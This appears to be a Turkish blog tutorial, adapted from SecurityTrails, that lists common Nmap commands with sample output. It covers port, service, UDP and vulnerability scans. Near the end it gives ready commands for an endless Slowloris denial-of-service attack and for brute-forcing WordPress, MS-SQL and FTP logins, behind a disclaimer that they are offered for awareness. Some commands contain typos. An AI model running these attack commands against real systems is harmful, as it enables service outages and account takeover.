Arif Akyüz
İçerik Üreticisi & Siber Güvenlik Uzmanı
Bu makale yaygın olarak kullanılan NMAP Komutları hakkında bilgilendirme sağlar.
nmap 10.196.1.100 | IP karşı Temel Nmap taraması başlatır. |
nmap arifakyuz.com | WEB sitesi gibi DNS isimlerine Nmap taraması başlatır. |
nmap -sp 192.168.1.0/24 | En ünlü tarama türü Nmap ping taramasıdır (genellikle Nmap ping taramaları gerçekleştirmek için kullanıldığı için denir) ve herhangi bir ağdaki ana bilgisayarları tespit etmenin en kolay yoludur. |
Belirli bağlantı noktalarını tarayın veya yerel ya da uzak bir sunucudaki tüm bağlantı noktası aralıklarını tarayın | |
nmap -p 1-65535 localhost | Bu örnekte, localhost bilgisayarımız için tüm 65535 bağlantı noktalarını taradık. |
nmap -p 80,443 8.8.8.8 | Nmap, olası tüm bağlantı noktalarını tarayabilir, ancak daha hızlı sonuçlar bildirecek belirli bağlantı noktalarını da tarayabilirsiniz. Aşağıya bakın |
nmap 10.196.2.1 192.168.1.1 | Birden çok IP adresini taramayı deneyelim. Bunun için şu sözdizimini kullanmanız gerekir |
nmap 1.1.1.1,2,3,4 | Ardışık IP adreslerini de tarayabilirsiniz: Bu tarar şekilde tarama yapar1.1.1.11.1.1.21.1.1.31.1.1.4 |
nmap 8.8.8.0/28 | Nmap’i tüm CIDR IP aralıklarını taramak için de kullanabilirsiniz, örneğin Bu, 14 ardışık IP aralığını tarar, ‘den .8.8.8.18.8.8.14 |
nmap 8.8.8.1-14 | Bir alternatif, bu tür bir aralığı kullanmaktır |
nmap 8.8.8.* | Tüm C sınıfı IP aralığını taramak için joker karakterler bile kullanabilirsiniz, örneğin: Bu, 256 IP adresini .8.8.8.18.8.8.256 |
nmap -p 8.8.8.* –exclude 8.8.8.1 | Belirli IP’leri IP aralığı taramasının dışında tutmanız gerekirse, aşağıda gördüğünüz gibi “–hariç tut” seçeneğini kullanabilirsiniz |
En popüler bağlantı noktalarını tarayın
nmap --top-ports 20 192.168.1.106
Çıktı aşağıdaki şekilde olacaktır.
(Ekrana gelecek çıktısı sayısını yani “20” yi istediğiniz numarayla değiştirin. Ona göre sonuçlar azalacak veya artacaktır.)
[root@securitytrails:~]nmap --top-ports 20 localhost
Starting Nmap 6.40 ( http://nmap.org ) at 2018-10-01 10:02 EDT
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000016s latency).
Other addresses for localhost (not scanned): 127.0.0.1
PORT STATE SERVICE
21/tcp closed ftp
22/tcp closed ssh
23/tcp closed telnet
25/tcp closed smtp
53/tcp closed domain
80/tcp filtered http
110/tcp closed pop3
111/tcp closed rpcbind
135/tcp closed msrpc
139/tcp closed netbios-ssn
143/tcp closed imap
443/tcp filtered https
445/tcp closed microsoft-ds
993/tcp closed imaps
995/tcp closed pop3s
1723/tcp closed pptp
3306/tcp closed mysql
3389/tcp closed ms-wbt-server
5900/tcp closed vnc
8080/tcp closed http-proxy
Bir metin dosyasından okunan ana bilgisayarları ve IP adreslerini tarayın
Bu durumda, Nmap içinde ana bilgisayarlar ve IP’ler içeren dosyaları okumak için de yararlıdır.
İçinde şu satırları içeren bir liste .txt dosyası oluşturduğunuzu varsayalım:
192.168.1.106
cloudflare.com
microsoft.com
securitytrails.com
“-iL” parametresi bu dosyadan okumanızı ve tüm bu ana bilgisayarları sizin için taramanızı sağlar:
nmap -iL list.txt
Nmap tarama sonuçlarınızı bir dosyaya kaydedin
Aşağıdaki örnekte bir dosyadan okumayacağız, ancak sonuçlarımızı bir metin dosyasına dışa aktaracağız / kaydedeceğiz:
nmap -oN output.txt arifakyuz.com
Nmap, dosyaları XML biçiminde de dışa aktarma yeteneğine sahiptir, bir sonraki örneğe bakın:
nmap -oX output.xml securitytrails.com
DNS ad çözümlemesini devre dışı bırakma
Taramalarınızı biraz hızlandırmanız gerekirse, tüm taramalarınız için ters DNS çözünürlüğünü devre dışı bırakmayı seçebilirsiniz. Sadece “-n” parametresini ekleyin.
[root@securitytrails:~]nmap -p 80 -n 8.8.8.8
Starting Nmap 7.60 ( https://nmap.org ) at 2018-10-01 09:15 -03
Nmap scan report for 8.8.8.8
Host is up (0.014s latency).
PORT STATE SERVICE
80/tcp filtered http
Normal DNS çözünürlüğü etkinleştirilmiş taramadaki farkı görün:
[root@securitytrails:~]nmap -p 80 8.8.8.8
Starting Nmap 7.60 ( https://nmap.org ) at 2018-10-01 09:15 -03
Nmap scan report for google-public-dns-a.google.com (8.8.8.8)
Host is up (0.014s latency).
PORT STATE SERVICE
80/tcp filtered http
Hızlı yürütme ile tarama + işletim sistemi ve servis algılama
“-A” parametresini kullanmak, işletim sistemi ve hizmet algılaması yapmanızı sağlar ve aynı zamanda daha hızlı yürütme için bunu “-T4” ile birleştiriyoruz. Aşağıdaki örneğe bakın:
nmap -A -T4 cloudflare.com
Bu test için elde ettiğimiz çıktı şudur:
Hizmet/daemon sürümlerini algılama
Bu, -sV parametreleri kullanılarak yapılabilir
nmap -sV localhost
Burada görebileceğiniz gibi:
[root@securitytrails:~]nmap -sV localhost
Starting Nmap 7.60 ( https://nmap.org ) at 2018-10-01 09:28 -03
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000020s latency).
Other addresses for localhost (not scanned): ::1
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
111/tcp open rpcbind 2-4 (RPC #100000)
631/tcp open ipp CUPS 2.2
902/tcp open ssl/vmware-auth VMware Authentication Daemon 1.10 (Uses VNC, SOAP)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.96 seconds
TCP veya UDP protokollerini kullanarak tarama
Nmap hakkında en çok sevdiğimiz şeylerden biri, hem TCP hem de UDP protokolleri için çalışmasıdır. Çoğu hizmet TCP üzerinde çalışırken, UDP tabanlı hizmetleri tarayarak da büyük bir avantaj elde edebilirsiniz. Bazı örnekler görelim.
Standart TCP tarama çıkışı:
[root@securitytrails:~]nmap -sT 192.168.1.1
Starting Nmap 7.60 ( https://nmap.org ) at 2018-10-01 09:33 -03
Nmap scan report for 192.168.1.1
Host is up (0.58s latency).
Not shown: 995 closed ports
PORT STATE SERVICE
80/tcp open http
1900/tcp open upnp
20005/tcp open btx
49152/tcp open unknown
49153/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 1.43 seconds
“-sU” parametresini kullanarak UDP tarama sonuçları:
[root@securitytrails:~]nmap -sU localhost
Starting Nmap 7.60 ( https://nmap.org ) at 2018-10-01 09:37 -03
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000021s latency).
Other addresses for localhost (not scanned): ::1
Not shown: 997 closed ports
PORT STATE SERVICE
68/udp open|filtered dhcpc
111/udp open rpcbind
5353/udp open|filtered zeroconf
Nmap kullanarak CVE algılama
Nmap’in tüm ağ ve sistem yöneticilerinin bilmediği en büyük özelliklerinden biri, “Nmap Scripting Engine” (NSE olarak bilinir) adı verilen bir şeydir. Bu komut dosyası motoru, kullanıcıların önceden tanımlanmış bir komut dosyası kümesi kullanmasına veya Lua programlama dilini kullanarak kendi komut dosyalarını yazmasına olanak tanır.
Sistem ve güvenlik açığı taramalarını otomatikleştirmek için Nmap komut dosyalarını kullanmak çok önemlidir. Örneğin, hedefinize karşı tam bir güvenlik açığı testi çalıştırmak istiyorsanız, şu parametreleri kullanabilirsiniz:
nmap -Pn –script vuln 192.168.1.105
Çıktı örneği:
[root@securitytrails:~]nmap -Pn --script vuln 192.168.1.105
Starting Nmap 7.60 ( https://nmap.org ) at 2018-10-01 09:46 -03
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Nmap scan report for 192.168.1.105
Host is up (0.00032s latency).
Not shown: 995 closed ports
PORT STATE SERVICE
80/tcp open http
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-slowloris-check:
| VULNERABLE:
| Slowloris DOS attack
| State: LIKELY VULNERABLE
| IDs: CVE:CVE-2007-6750
| Slowloris tries to keep many connections to the target web server open and hold
| them open as long as possible. It accomplishes this by opening connections to
| the target web server and sending a partial request. By doing so, it starves
| the http server's resources causing Denial Of Service.
|
| Disclosure date: 2009-09-17
| References:
| http://ha.ckers.org/slowloris/
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-vuln-cve2014-3704: ERROR: Script execution failed (use -d to debug)
1900/tcp open upnp
20005/tcp open btx
49152/tcp open unknown
49153/tcp open unknown
Gördüğünüz gibi, bu güvenlik açığı testinde bir CVE (Slowloris DOS saldırısı) tespit edebildik.
Nmap ile DOS’u başlatma
Nmap özellikleri asla bitmeyecek gibi görünüyor ve NSE sayesinde, ağ testlerimize karşı DOS saldırıları başlatmamıza bile izin veriyor.
Önceki örneğimizde (#12) ana bilgisayarın Slowloris saldırısına karşı savunmasız olduğunu gördük ve şimdi sonsuza dek döngüde bir DOS saldırısı başlatarak bu güvenlik açığından yararlanmaya çalışacağız:
nmap 192.168.1.105 -max-parallelism 800 -Pn --script http-slowloris --script-args http-slowloris.runforever=true
BİLGİ: Aşağıda ki içerikler siber saldırı yapmanız için paylaşılmamıştır olası siber saldırılara karşı farkındalık oluşturmak, şirketinizi ve cihazlarınızı bu tekniklerle yapılacak siber saldırılara karşı koruyabilmeniz için bilgilendirme amacıyla paylaşılmaktadır.
Bu kodların kötü amaçlı kullanılmasından işlemi yapan kişi sorumludur.
Kaba kuvvet saldırıları başlatma
NSE gerçekten büyüleyici – hayal edebileceğiniz her şey için senaryolar içeriyor. WordPress, MSSQL ve FTP sunucusuna karşı BFA’nın sonraki üç örneğine bakın:
WordPress kaba kuvvet saldırısı:
nmap -sV --script http-wordpress-brute --script-args 'userdb=users.txt,passdb=passwds.txt,http-wordpress-brute.hostname=domain.com, http-wordpress-brute.threads=3,brute.firstonly=true' 192.168.1.105
MS-SQL’e karşı kaba kuvvet saldırısı:
map -p 1433 --script ms-sql-brute --script-args userdb=customuser.txt,passdb=custompass.txt 192.168.1.105
FTP kaba kuvvet saldırısı:
nmap --script ftp-brute -p 21 192.168.1.105
Uzak ana bilgisayarlardaki kötü amaçlı yazılım enfeksiyonlarını algılama
Nmap, Identd, Proftpd, Vsftpd, IRC, SMB ve SMTP gibi birkaç popüler işletim sistemi hizmetinde kapsamlı testler çalıştırarak kötü amaçlı yazılımları ve arka kapıları tespit edebilir. Ayrıca, uzak sunuculardaki popüler kötü amaçlı yazılım işaretlerini kontrol etmek için bir modüle sahiptir ve Google’ın Güvenli Tarama ve VirusTotal veritabanlarını da entegre eder.
Yaygın bir kötü amaçlı yazılım taraması şu şekilde gerçekleştirilebilir:
nmap -sV --script=http-malware-host 192.168.1.105
Veya Google’ın Kötü Amaçlı Yazılım kontrolünü kullanarak:
nmap -p80 --script http-google-malware infectedsite.com
Çıktı örneği:
80/tcp open http |_http-google-malware.nse: Host is known for distributing malware
Nmap Hakkında SSS
Nmap, onlarca yıldır en popüler port ve ağ tarayıcılarından biri olmuştur. Yine de, yeni kullanıcılar genellikle nasıl çalıştığı ve yasal kullanımı hakkında sorular sorarlar ve hatta zaman zaman başka benzer yazılımlar ararlar.
Nmap ücretsiz mi?
Evet, Nmap indirmeniz ve kullanmanız için tamamen ücretsizdir. Aynı zamanda açık kaynaklı (lisanslı) bir projedir, böylece ihtiyaçlarınıza uyacak şekilde inceleyebilir, değiştirebilir ve geliştirebilirsiniz.
Nmap Yasal mı?
Nmap yasaldır; ancak, bu tamamen kullanıcının onu kullanma amacına bağlıdır. Kendi ağınızı taramak tamamen yasaldır, ancak üçüncü taraf ağlarını taramak, yaşadığınız ülkeye ve eyalete bağlı olarak yetkili değilseniz sizi yasal sorunlara sokabilir.
Bağlantı noktası tarama yasallığı hakkında birçok nüans ve görüş vardır. Yasal sorunlardan kaçınmanıza yardımcı olmak için, Nmap web sitesinin yasal sorunlar sayfasında ayrıntılı olarak açıklanan resmi sonuçları okumanızı öneririz.
Nasıl Çalışır?
Nmap, ağ paketlerini gönderip alarak ve bir ağ üzerinden ana bilgisayarları ve IP adreslerini hızlı bir şekilde algılamak için parmak izi veritabanına ve diğer yöntemlere karşı kontrol ederek çalışır. Ardından, konsolunuzdaki sonuçlarla hızlı bir şekilde yanıt vermek için veriler üzerinde analiz gerçekleştirir. Çoğu Nmap taraması, bunları Linux ve Unix’te kök tabanlı (yönetici) erişimle gerçekleştirmenizi gerektirir. Windows’tayken, Nmap’i bir yönetici hesabıyla çalıştırmak her zaman iyi bir uygulamadır.
Nmap gibi başka benzer bir yazılım var mı?
Masscan, Rustcan ve diğerleri de dahil olmak üzere Nmap’e tonlarca alternatif var. Bu benzer yazılımların bazıları daha hızlı tarama süreleri sunarken, neredeyse hiçbiri Nmap tam taramasının yaptığı kadar çok seçenek ve yüksek kaliteli sonuçlar sunmaz.
Çoğu kullanıcı için, gelişmiş olanlar için bile, Nmap yeterlidir. Terminalleri sevmiyorsanız, Nmap’in GUI tabanlı sürümü olan ZenMap’e her zaman göz atabilirsiniz.
Kaynaklar:
En İyi 16 Nmap Komutu: Nmap Bağlantı Noktası Tarama Eğitim Kılavuzu (securitytrails.com)